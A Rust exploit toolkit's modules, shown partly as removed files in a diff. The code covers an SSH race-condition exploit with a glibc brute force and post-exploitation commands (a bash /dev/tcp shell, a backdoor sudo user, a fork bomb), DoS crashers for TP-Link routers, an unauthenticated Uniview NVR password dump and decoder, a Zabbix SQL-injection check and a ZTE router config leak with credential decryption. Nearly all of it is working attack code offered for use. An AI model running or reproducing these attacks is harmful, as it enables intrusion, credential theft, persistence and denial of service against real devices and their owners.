continue;
}
Err(e) => return Err(e.into()),
}
}
}
async fn receive_ssh_version(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 256];
recv_retry(stream, &mut buffer).await.context("Failed to receive SSH version")?;
Ok(())
}
async fn send_kex_init(stream: &mut TcpStream) -> Result<()> {
let payload = vec![0u8; 36];
send_packet(stream, 20, &payload).await.context("Failed to send KEX_INIT")
}
async fn receive_kex_init(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 1024];
recv_retry(stream, &mut buffer).await.context("Failed to receive KEX_INIT")?;
Ok(())
}
async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
send_ssh_version(stream).await.context("Handshake: send_ssh_version failed")?;
receive_ssh_version(stream).await.context("Handshake: receive_ssh_version failed")?;
send_kex_init(stream).await.context("Handshake: send_kex_init failed")?;
receive_kex_init(stream).await.context("Handshake: receive_kex_init failed")?;
Ok(())
}
async fn prepare_heap(stream: &mut TcpStream, glibc_base: u64) -> Result<()> {
for _ in 0..10 {
let tcache_chunk = vec![b'A'; 64];
send_packet(stream, 5, &tcache_chunk).await?;
}
for _ in 0..27 {
let large_hole = vec![b'B'; 8192];
send_packet(stream, 5, &large_hole).await?;
let small_hole = vec![b'C'; 320];
send_packet(stream, 5, &small_hole).await?;
}
for _ in 0..27 {
let mut fake = vec![0u8; 4096];
create_fake_file_structure(&mut fake, glibc_base);
send_packet(stream, 5, &fake).await?;
}
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
send_packet(stream, 5, &large_fill).await?;
Ok(())
}
async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
let error_packet_data: &[u8] = if error_type == 1 {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"
} else {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"
};
let start = Instant::now();
send_packet(stream, 50, error_packet_data).await?;
let mut buf = [0u8; 1024];
let _ = recv_retry(stream, &mut buf).await;
Ok(start.elapsed().as_secs_f64())
}
async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
let t1 = measure_response_time(stream, 1).await?;
let t2 = measure_response_time(stream, 2).await?;
let parsing_time = t2 - t1;
Ok(parsing_time)
}
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_base: u64) -> Result<bool> {
let mut final_packet = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut final_packet, glibc_base);
let to_send = final_packet.len() - 1;
stream.write_all(&final_packet[..to_send]).await?;
stream.flush().await?;
let wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
if wait_time > 0.0 {
sleep(Duration::from_secs_f64(wait_time)).await;
}
stream.write_all(&final_packet[to_send..]).await?;
stream.flush().await?;
let mut response = [0u8; 1024];
match tokio::time::timeout(Duration::from_secs(2), stream.read(&mut response)).await {
Ok(Ok(n)) if n == 0 => Ok(true),
Ok(Ok(n)) if n > 0 => {
if !response[..n.min(8)].starts_with(b"SSH-2.0-") {
Ok(true)
} else {
Ok(false)
}
}
Ok(Ok(_)) => Ok(false),
Ok(Err(_)) => Ok(true),
Err(_) => Ok(true),
}
}
fn print_post_actions() {
println!("{}", "Available Post-Ex Actions:".cyan().bold());
println!(" 1. {} (port {})", "Bind Shell".green(), BIND_SHELL_PORT);
println!(" 2. {} user '{}'", "Persistent".green(), PERSISTENT_USER);
println!(" 3. {} (Denial/Crash)", "Fork bomb".red());
println!(" 4. {} (recommended)", "Interactive PTY shell".green().bold());
}
fn get_postex_command(action: u8) -> String {
match action {
1 => format!(
"nohup bash -c 'bash -i >& /dev/tcp/0.0.0.0/{}/0 2>&1 &'",
BIND_SHELL_PORT
),
2 => format!(
"useradd -m -p $(openssl passwd -1 '{}') {} && usermod -aG sudo {}",
PERSISTENT_PASS, PERSISTENT_USER, PERSISTENT_USER
),
3 => ":(){ :|:& };:".to_string(),
4 => "exec /bin/bash -i".to_string(),
_ => "".to_string(),
}
}
async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8, num_attempts_per_base: usize) -> Result<()> {
println!("{}", format!("[*] Target: {}:{}", target_ip, port_num).cyan().bold());
let postex_cmd = get_postex_command(mode_choice);
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
let mut glibc_bases = vec![];
let mut current_base = GLIBC_BASE_START;
while current_base < GLIBC_BASE_END {
glibc_bases.push(current_base);
current_base += GLIBC_STEP;
}
println!("{}", format!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP).cyan());
println!("{}", format!("[*] Total GLIBC bases to check: {}", glibc_bases.len()).cyan());
println!("{}", format!("[*] Attempts per GLIBC base: {}", num_attempts_per_base).cyan());
for glibc_base_addr in glibc_bases {
for attempt_num in 0..num_attempts_per_base {
let ip_clone = target_ip.clone();
let sem_clone = semaphore.clone();
let cmd_clone = postex_cmd.clone();
let permit = sem_clone.acquire_owned().await.context("Failed to acquire semaphore permit")?;
tasks.push(tokio::spawn(async move {
let _permit = permit;
let mut stream = match setup_connection(&ip_clone, port_num).await {
Ok(s) => s,
Err(_) => return Ok(false),
};
if perform_ssh_handshake(&mut stream).await.is_err() {
return Ok(false);
}
if prepare_heap(&mut stream, glibc_base_addr).await.is_err() {
return Ok(false);
}
let parsing_time = match time_final_packet(&mut stream).await {
Ok(pt) => pt,
Err(_) => return Ok(false),
};
if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
println!("{}", format!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num).green().bold());
if !cmd_clone.is_empty() {
println!("[*] Post-ex command to execute (conceptually): {}", cmd_clone);
}
match mode_choice {
1 => {
println!("[*] Attempting to connect to bind shell on port {}...", BIND_SHELL_PORT);
let bind_shell_target_addr = format!("{}:{}", ip_clone, BIND_SHELL_PORT);
sleep(Duration::from_secs(2)).await;
match TcpStream::connect(&bind_shell_target_addr).await {
Ok(conn_stream) => {
if let Err(e) = handle_bind_shell_session(conn_stream).await {
println!("[!] Bind shell session error: {}", e);
}
}
Err(e) => {
println!("[!] Could not connect to bind shell at {}: {}", bind_shell_target_addr, e);
println!("[!] If firewall blocks remote connects, try post-ex #2 or #4.");
}
}
}
2 => {
println!("[*] Verifying if user '{}' exists. Try SSH: ssh {}@{}", PERSISTENT_USER, PERSISTENT_USER, ip_clone);
println!("[*] Password: {}", PERSISTENT_PASS);
println!("(Manual check required. If login works, exploit succeeded!)");
}
3 => {
println!("[!] Fork bomb sent. Target likely crashed or hung (manual verification needed).");
}
4 => {
println!("[*] Interactive PTY shell requested. The shellcode attempts to spawn /bin/sh.");
println!("[*] If successful, the SSH session might drop or provide a new prompt.");
println!("Manual attach might be possible via existing connection if it didn't drop, or check netcat.");
}
_ => {
println!("[*] Post-ex action unknown/unsupported. Check exploit results manually.");
}
}
return Ok(true);
}
sleep(Duration::from_millis(100)).await;
Ok(false)
}));
}
}
let mut success_found = false;
while let Some(task_result) = tasks.next().await {
match task_result {
Ok(Ok(true)) => {
println!("{}", "[SUCCESS] Exploit Succeeded! One of the attempts was successful.".green().bold());
println!("{}", "[*] Check chosen post-exploitation action effects.".cyan());
if mode_choice == 1 {
println!("{}", format!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT).cyan());
}
success_found = true;
break;
}
Ok(Ok(false)) => { }
Ok(Err(e)) => eprintln!("[!] Task error (internal logic error): {}", e),
Err(e) => eprintln!("[!] Task join error: {}", e),
}
}
if !success_found {
println!("{}", "[-] All attempts finished. Exploit likely unsuccessful with current parameters.".red());
println!("{}", "[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.".yellow());
}
Ok(())
}
pub async fn run(target_info: &str) -> anyhow::Result<()> {
if target_info.is_empty() {
bail!("Target IP address/hostname cannot be empty.");
}
if target_info.contains(':') {
bail!("Invalid target format. Expected IP address or hostname, got '{}'. Port will be asked separately.", target_info);
}
let ip_address = target_info.to_string();
let port_num: u16;
loop {
print!("{}", "Enter the target port number (e.g., 22): ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout")?;
let mut port_input = String::new();
io::stdin().read_line(&mut port_input).context("Failed to read port from stdin")?;
match port_input.trim().parse::<u16>() {
Ok(port) if port > 0 => {
port_num = port;
break;
}
Ok(_) => {
println!("{}", "[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.".yellow());
}
Err(_) => {
println!("{}", "[!] Invalid input. Please enter a valid port number (1-65535).".yellow());
}
}
}
print_post_actions();
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
io::stdout().flush().ok();
let mut choice_str = String::new();
io::stdin().read_line(&mut choice_str).ok();
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
let num_attempts_per_base: usize;
loop {
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout for attempts input")?;
let mut attempts_str = String::new();
io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
match attempts_str.trim().parse::<usize>() {
Ok(num) if num > 0 => {
num_attempts_per_base = num;
break;
}
_ => {
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
}
}
}
execute_exploit_logic(ip_address, port_num, mode_choice, num_attempts_per_base).await
}
-2
View File
@@ -1,2 +0,0 @@
pub mod tp_link_vn020_dos;
pub mod tplink_wr740n_dos;
@@ -1,132 +0,0 @@
// CVE-2024-12342 - TP-Link VN020 F3v(T) - Denial of Service
// Exploit Author: Mohamed Maatallah
// Ported to Rust
use anyhow::{Context, Result};
use reqwest::Client;
use std::io::{self, BufRead};
use std::sync::{
atomic::{AtomicBool, Ordering},
Arc,
};
use std::thread;
use std::time::Duration;
use tokio::join;
/// Normalize IPv6/IPv4/hostname and fix extra brackets
fn normalize_target_host(raw: &str) -> String {
// Remove outer brackets if any, then reapply correctly for IPv6
let stripped = raw.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') {
format!("[{stripped}]")
} else {
stripped.to_string()
}
}
/// Send the malformed AddPortMapping SOAP request (PoC 1)
async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> {
// Missing parameters PoC - will crash the router
let url = format!("http://{target}:5431/control/WANIPConnection");
let body = r#"<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:AddPortMapping>
<NewPortMappingDescription>hello</NewPortMappingDescription>
</u:AddPortMapping>
</s:Body>
</s:Envelope>"#;
let res = client
.post(&url)
.header("Content-Type", "text/xml")
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"")
.body(body)
.send()
.await
.context("Failed to send DoS request 1 (Missing Parameters)")?;
println!("[+] PoC 1 sent. Status: {}", res.status());
Ok(())
}
/// Send the memory corruption SetConnectionType SOAP request (PoC 2)
async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> {
// Memory corruption PoC using format string overflow
let long_payload = "%x".repeat(10_000);
let url = format!("http://{target}:5431/control/WANIPConnection");
let body = format!(
r#"<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:SetConnectionType xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewConnectionType>{}</NewConnectionType>
</u:SetConnectionType>
</s:Body>
</s:Envelope>"#,
long_payload
);
let res = client
.post(&url)
.header("Content-Type", "text/xml")
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\"")
.body(body)
.send()
.await
.context("Failed to send DoS request 2 (Memory Corruption)")?;
println!("[+] PoC 2 sent. Status: {}", res.status());
Ok(())
}
/// Entry point for the exploit module
pub async fn run(raw_target: &str) -> Result<()> {
// Normalize target
let target = normalize_target_host(raw_target);
// Create HTTP client with insecure certs accepted and 5s timeout
let client = Client::builder()
.timeout(Duration::from_secs(5))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to build HTTP client")?;
println!("[*] TP-Link VN020-F3v(T) DoS Exploit Running...");
println!("[!] This module will not delay or stop unless you type 'stop' and press ENTER.");
let stop_flag = Arc::new(AtomicBool::new(false));
let stop_flag_clone = Arc::clone(&stop_flag);
// Monitor stdin for "stop" command
thread::spawn(move || {
let stdin = io::stdin();
for line in stdin.lock().lines() {
if let Ok(input) = line {
if input.trim().eq_ignore_ascii_case("stop") {
stop_flag_clone.store(true, Ordering::Relaxed);
println!("[*] Stopping attack...");
break;
}
}
}
});
// Continuous dual PoC attack until user stops
while !stop_flag.load(Ordering::Relaxed) {
let (r1, r2) = join!(
dos_missing_parameters(&client, &target),
dos_memory_corruption(&client, &target)
);
if let Err(e) = r1 {
eprintln!("[!] Error during PoC 1: {e}");
}
if let Err(e) = r2 {
eprintln!("[!] Error during PoC 2: {e}");
}
}
println!("[+] Exploit session ended.");
Ok(())
}
@@ -1,114 +0,0 @@
// Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS'
// Date: 8/12/2023
// Exploit Author: Anish Feroz (ZEROXINN)
// Vendor Homepage: http://www.tp-link.com
// Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
// Tested on: TP-Link TL-WR740N
// Description:
// There exists a buffer overflow vulnerability in TP-Link TL-WR740 router
// that can allow an attacker to crash the web server running on the router
// by sending a crafted request. To bring back the http (webserver),
// a user must physically reboot the router.
use anyhow::Result;
use base64::{engine::general_purpose, Engine as _};
use reqwest::{Client, header::HeaderMap};
use std::io;
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
/// Normalize IP to handle IPv6 and multiple brackets
fn normalize_ip(ip: &str) -> String {
// Remove all surrounding brackets
let mut ip = ip.trim_matches('[').trim_matches(']').to_string();
// Add brackets for IPv6
if ip.contains(':') && !ip.starts_with('[') {
ip = format!("[{}]", ip);
}
ip
}
/// Internal function to send crafted request to crash router
async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<()> {
// Normalize the IP for correct URL formatting
let ip = normalize_ip(ip);
// Create a crash pattern of exact 192 characters using "crash_crash_on_a_loop_"
let crash_pattern = "crash_crash_on_a_loop_";
let repeated = crash_pattern.repeat(9); // 9*22 = 198 > 192
let payload = &repeated[..192]; // truncate to exact length
// Construct vulnerable URL
let target_url = format!(
"http://{ip}:{port}/userRpm/PingIframeRpm.htm?ping_addr={payload}&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20",
ip = ip,
port = port,
payload = payload
);
// Build basic auth header
let credentials = format!("{username}:{password}");
let encoded_credentials = general_purpose::STANDARD.encode(credentials.as_bytes());
// Prepare HTTP headers
let mut headers = HeaderMap::new();
headers.insert("Host", format!("{ip}:{port}", ip = ip, port = port).parse()?);
headers.insert("Authorization", format!("Basic {}", encoded_credentials).parse()?);
headers.insert("Upgrade-Insecure-Requests", "1".parse()?);
headers.insert("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36".parse()?);
headers.insert("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9".parse()?);
headers.insert("Referer", format!("http://{ip}:{port}/userRpm/DiagnosticRpm.htm", ip = ip, port = port).parse()?);
headers.insert("Accept-Encoding", "gzip, deflate".parse()?);
headers.insert("Accept-Language", "en-US,en;q=0.9".parse()?);
headers.insert("Connection", "close".parse()?);
let client = Client::builder()
.default_headers(headers)
.build()?;
let response = client.get(&target_url).send().await?;
if response.status().as_u16() == 200 {
println!("[+] Server Crashed (200 OK received)");
let body = response.text().await.unwrap_or_default();
println!("{}", body);
} else {
println!(
"[-] Script Completed with status code: {}",
response.status()
);
}
// Check if the host is still up — timeout after 1 second
match timeout(Duration::from_secs(1), TcpStream::connect((ip.trim_matches(&['[', ']'][..]), port))).await {
Ok(Ok(_)) => {
println!("[!] Target still responds on port {}. DoS likely failed.", port);
}
_ => {
println!("[+] Target no longer reachable on port {} — likely crashed. Returning to menu.", port);
}
}
Ok(())
}
/// Entry point required by auto-dispatch
pub async fn run(target: &str) -> Result<()> {
println!("Enter router port (default is 8082): ");
let mut port_str = String::new();
io::stdin().read_line(&mut port_str)?;
let port: u16 = port_str.trim().parse().unwrap_or(8082);
println!("Enter username: ");
let mut username = String::new();
io::stdin().read_line(&mut username)?;
let username = username.trim();
println!("Enter password: ");
let mut password = String::new();
io::stdin().read_line(&mut password)?;
let password = password.trim();
execute(target, port, username, password).await
}
-1
View File
@@ -1 +0,0 @@
pub mod uniview_nvr_pwd_disclosure;
@@ -1,198 +0,0 @@
use anyhow::{anyhow, Context, Result};
use quick_xml::events::Event;
use quick_xml::name::QName;
use quick_xml::Reader;
use reqwest::Client;
use std::collections::HashMap;
use std::fs::OpenOptions;
use std::io::Write;
use std::time::Duration;
/// Reverses the Uniview custom encoded password
fn decode_pass(encoded: &str) -> String {
let map: HashMap<&str, &str> = [
("77","1"), ("78","2"), ("79","3"), ("72","4"), ("73","5"), ("74","6"),
("75","7"), ("68","8"), ("69","9"), ("76","0"), ("93","!"), ("60","@"),
("95","#"), ("88","$"), ("89","%"), ("34","^"), ("90","&"), ("86","*"),
("84","("), ("85",")"), ("81","-"), ("35","_"), ("65","="), ("87","+"),
("83","/"), ("32","\\"), ("0","|"), ("80",","), ("70",":"), ("71",";"),
("7","{"), ("1","}"), ("82","."), ("67","?"), ("64","<"), ("66",">"),
("2","~"), ("39","["), ("33","]"), ("94","\""), ("91","'"), ("28","`"),
("61","A"), ("62","B"), ("63","C"), ("56","D"), ("57","E"), ("58","F"),
("59","G"), ("52","H"), ("53","I"), ("54","J"), ("55","K"), ("48","L"),
("49","M"), ("50","N"), ("51","O"), ("44","P"), ("45","Q"), ("46","R"),
("47","S"), ("40","T"), ("41","U"), ("42","V"), ("43","W"), ("36","X"),
("37","Y"), ("38","Z"), ("29","a"), ("30","b"), ("31","c"), ("24","d"),
("25","e"), ("26","f"), ("27","g"), ("20","h"), ("21","i"), ("22","j"),
("23","k"), ("16","l"), ("17","m"), ("18","n"), ("19","o"), ("12","p"),
("13","q"), ("14","r"), ("15","s"), ("8","t"), ("9","u"), ("10","v"),
("11","w"), ("4","x"), ("5","y"), ("6","z"),
]
.iter()
.cloned()
.collect();
encoded
.split(';')
.filter_map(|c| if c == "124" { None } else { map.get(c).copied() })
.collect()
}
/// Strip any number of nested brackets and re-wrap once if IPv6
fn normalize_target(raw: &str) -> String {
// Preserve or default to http://
let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
("http://", s)
} else if let Some(s) = raw.strip_prefix("https://") {
("https://", s)
} else {
("http://", raw)
};
// Split authority vs path
let (auth, path) = match after.find('/') {
Some(i) => (&after[..i], &after[i..]),
None => (after, ""),
};
// Separate host_part and port_part
let (host_part, port_part) = if auth.starts_with('[') {
if let Some(pos) = auth.rfind(']') {
(&auth[..=pos], &auth[pos + 1..])
} else {
(auth, "")
}
} else if auth.matches(':').count() > 1 {
// IPv6 without brackets
(auth, "")
} else if let Some(pos) = auth.rfind(':') {
// IPv4 or hostname with port
(&auth[..pos], &auth[pos..])
} else {
(auth, "")
};
// Peel away *all* outer brackets
let mut inner = host_part;
while inner.starts_with('[') && inner.ends_with(']') {
inner = &inner[1..inner.len() - 1];
}
// If it looks like IPv6, re-wrap exactly once
let wrapped = if inner.contains(':') {
format!("[{}]", inner)
} else {
inner.to_string()
};
format!("{}{}{}{}", scheme, wrapped, port_part, path)
}
pub async fn run(target: &str) -> Result<()> {
println!("\nUniview NVR remote passwords disclosure!");
println!("Author: B1t (ported to Rust)\n");
// Normalize URL (scheme, IPv6 brackets, port, path)
let target = normalize_target(target);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(10))
.build()
.context("Failed to build HTTP client")?;
// Fetch version info
println!("[+] Getting model name and software version...");
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
let version_text = client
.get(&version_url)
.send().await?
.text().await
.context("Failed to fetch version")?;
let model = version_text
.split("szDevName\":\"")
.nth(1)
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
let sw_ver = version_text
.split("szSoftwareVersion\":\"")
.nth(1)
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
println!("Model: {}", model);
println!("Software Version: {}", sw_ver);
// Prepare log file
let mut log = OpenOptions::new()
.create(true)
.append(true)
.open("nvr-success.txt")
.context("Unable to open nvr-success.txt")?;
writeln!(log, "\n==== Uniview NVR ====").ok();
writeln!(log, "Target: {}", target).ok();
writeln!(log, "Model: {}", model).ok();
writeln!(log, "Software Version: {}", sw_ver).ok();
// Fetch user config
println!("\n[+] Getting configuration file...");
let config_url = format!(
"{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}",
target
);
let config_text = client
.get(&config_url)
.send().await?
.text().await
.context("Failed to fetch config")?;
// XML reader with trimmed text
let mut reader = Reader::from_str(&config_text);
reader.config_mut().trim_text(true);
let mut buf = Vec::new();
let mut total_users = 0;
println!("\nUser | Stored Hash | Reversible Password");
println!("{}", "_".repeat(80));
writeln!(log, "\nUser | Stored Hash | Reversible Password").ok();
writeln!(log, "{}", "_".repeat(80)).ok();
loop {
match reader.read_event_into(&mut buf) {
Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => {
let mut username = String::new();
let mut user_hash = String::new();
let mut revpass = String::new();
for attr in e.attributes().flatten() {
match attr.key {
k if k == QName(b"UserName") => username = std::str::from_utf8(&attr.value)?.to_string(),
k if k == QName(b"UserPass") => user_hash = std::str::from_utf8(&attr.value)?.to_string(),
k if k == QName(b"RvsblePass") => revpass = std::str::from_utf8(&attr.value)?.to_string(),
_ => {}
}
}
let decoded = decode_pass(&revpass);
println!("{:<9}| {:<38}| {}", username, user_hash, decoded);
writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok();
total_users += 1;
}
Ok(Event::Eof) => break,
Err(e) => return Err(anyhow!("XML parse error: {}", e)),
_ => {}
}
buf.clear();
}
println!("\n[+] Total users: {}", total_users);
writeln!(log, "\n[+] Total users: {}", total_users).ok();
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n");
writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod zabbix_7_0_0_sql_injection;
@@ -1,159 +0,0 @@
use anyhow::{anyhow, Result};
use reqwest::Client;
use serde_json::json;
use std::fs;
use std::io::{self, Write};
const HEADERS: &str = "application/json";
// Internal function renamed to `exploit_zabbix` to avoid conflicts
async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload: &str) -> Result<()> {
let client = Client::new();
let url = format!("{}/api_jsonrpc.php", api_url.trim_end_matches('/'));
// // Login to get the token
let login_data = json!({
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"username": username,
"password": password
},
"id": 1,
"auth": null
});
let login_response = client
.post(&url)
.header("Content-Type", HEADERS)
.json(&login_data)
.send()
.await
.map_err(|e| anyhow!("Login request error: {}", e))?;
let login_response_json: serde_json::Value = login_response
.json()
.await
.map_err(|e| anyhow!("Failed to parse login response: {}", e))?;
let auth_token = login_response_json
.get("result")
.ok_or_else(|| anyhow!("Failed to retrieve auth token"))?
.as_str()
.ok_or_else(|| anyhow!("Auth token not a string"))?
.to_string();
// // SQLi test using the provided payload
let sqli_data = json!({
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
"userids": ["1", "2"]
},
"id": 1,
"auth": auth_token
});
let test_response = client
.post(&url)
.header("Content-Type", HEADERS)
.json(&sqli_data)
.send()
.await
.map_err(|e| anyhow!("Test request error: {}", e))?;
let test_response_text = test_response
.text()
.await
.map_err(|e| anyhow!("Failed to read test response: {}", e))?;
if test_response_text.contains("\"error\"") {
println!("[-] NOT VULNERABLE.");
} else {
println!("[!] VULNERABLE.");
}
Ok(())
}
// Prompt user to choose a payload option
async fn get_payload_choice() -> Result<String> {
println!("Choose SQL payload option:");
println!("1: Load SQL payloads from file");
println!("2: Enter custom SQL payload");
println!("3: Use default SQL payload");
let mut choice = String::new();
print!("Enter your choice (1/2/3): ");
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut choice)
.map_err(|e| anyhow!("Failed to read choice: {}", e))?;
let choice = choice.trim();
match choice {
"1" => {
// Load from a file (e.g., sql_payloads.txt)
println!("Loading SQL payloads from file...");
let payloads = fs::read_to_string("sql_payloads.txt")
.map_err(|e| anyhow!("Error reading payload file: {}", e))?;
Ok(payloads.trim().to_string())
}
"2" => {
// Allow user to input a custom payload
println!("Enter your custom SQL payload (do not include the SELECT statement, only the payload part): ");
let mut custom_payload = String::new();
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut custom_payload)
.map_err(|e| anyhow!("Failed to read custom payload: {}", e))?;
let custom_payload = custom_payload.trim();
// Ensure the custom payload isn't empty
if custom_payload.is_empty() {
return Err(anyhow!("Custom payload cannot be empty. Please enter a valid payload."));
}
Ok(custom_payload.to_string())
}
"3" => {
// Use a default payload
println!("Using default SQL payload...");
Ok("readonly AND (SELECT(SLEEP(5)))".to_string())
}
_ => Err(anyhow!("Invalid choice, please select 1, 2, or 3.")),
}
}
// Public dispatch entry point
pub async fn run(target: &str) -> Result<()> {
println!("[*] Zabbix 7.0.0 SQL Injection Checker (CVE-2024-42327)");
println!("[*] Target API URL: {}", target);
let mut username = String::new();
let mut password = String::new();
print!("Username: ");
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut username)
.map_err(|e| anyhow!("Failed to read username: {}", e))?;
print!("Password: ");
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut password)
.map_err(|e| anyhow!("Failed to read password: {}", e))?;
let username = username.trim();
let password = password.trim();
// Get the payload choice from the user
let payload = get_payload_choice().await?;
// Run the exploit with the selected payload
exploit_zabbix(target, username, password, &payload).await
}
-1
View File
@@ -1 +0,0 @@
pub mod zte_zxv10_h201l_rce_authenticationbypass;
@@ -1,230 +0,0 @@
use aes::Aes128;
use anyhow::Result;
use cipher::{BlockDecrypt, KeyInit, Block};
use colored::*;
use reqwest::{Client, cookie::Jar};
use std::{
fs::{self, File},
io::{Read, Write},
net::TcpStream,
sync::Arc,
};
use tokio::time::Duration;
use std::net::ToSocketAddrs;
/// AES-128 ECB decrypt without padding
fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
if data.len() % 16 != 0 {
anyhow::bail!("ECB decryption requires block-aligned data");
}
let cipher = Aes128::new_from_slice(key)?;
let mut output = Vec::with_capacity(data.len());
for chunk in data.chunks(16) {
let mut arr = [0u8; 16];
arr.copy_from_slice(chunk);
let mut block = Block::<Aes128>::from(arr);
cipher.decrypt_block(&mut block);
output.extend_from_slice(&block);
}
Ok(output)
}
/// Extract host and port from target
fn parse_target(target: &str) -> Result<(String, u16)> {
if target.contains("]:") {
let parts: Vec<&str> = target.rsplitn(2, "]:").collect();
let port = parts[0].parse::<u16>()?;
let host = parts[1].trim_start_matches('[').to_string();
return Ok((host, port));
} else if target.contains(':') {
let parts: Vec<&str> = target.splitn(2, ':').collect();
let port = parts[1].parse::<u16>()?;
return Ok((parts[0].to_string(), port));
}
print!("{}", "[?] No port provided. Enter port: ".cyan().bold());
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let port = input.trim().parse::<u16>()?;
Ok((target.to_string(), port))
}
/// Leak the router config file
fn leak_config(host: &str, port: u16) -> Result<()> {
println!("[*] Leaking config from http://{}:{}/ ...", host, port);
// Resolve and connect with timeout
let addr = (host, port)
.to_socket_addrs()?
.next()
.ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let timeout = Duration::from_secs(5);
let mut conn = TcpStream::connect_timeout(&addr, timeout)?;
let boundary = "----WebKitFormBoundarysQuwz2s3PjXAakFJ";
let body = format!(
"--{}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n\r\n--{}--\r\n",
boundary, boundary
);
let request = format!(
"POST /getpage.gch?pid=101 HTTP/1.1\r\n\
Host: {}:{}\r\n\
Content-Type: multipart/form-data; boundary={}\r\n\
Content-Length: {}\r\n\
Connection: close\r\n\r\n{}",
host, port, boundary, body.len(), body
);
conn.write_all(request.as_bytes())?;
let mut response = vec![];
conn.read_to_end(&mut response)?;
if let Some(start) = response.windows(4).position(|w| w == b"\r\n\r\n") {
let body = &response[start + 4..];
File::create("config.bin")?.write_all(body)?;
}
println!("[+] Config saved to config.bin");
Ok(())
}
/// Decrypt config and extract credentials
fn decrypt_config(config_key: &[u8]) -> Result<(String, String)> {
let mut encrypted = File::open("config.bin")?;
let mut data = vec![];
encrypted.read_to_end(&mut data)?;
let mut key16 = [0u8; 16];
key16[..config_key.len().min(16)].copy_from_slice(&config_key[..config_key.len().min(16)]);
let decrypted = decrypt_ecb_nopad(&data, &key16)?;
fs::write("decrypted.xml", &decrypted)?;
let xml = fs::read_to_string("decrypted.xml")?;
let username = xml.split("IGD.AU2").nth(1)
.and_then(|s| s.split("User").nth(1))
.and_then(|s| s.split("val=\"").nth(1))
.and_then(|s| s.split('"').next())
.unwrap_or("unknown")
.to_string();
let password = xml.split("IGD.AU2").nth(1)
.and_then(|s| s.split("Pass").nth(1))
.and_then(|s| s.split("val=\"").nth(1))
.and_then(|s| s.split('"').next())
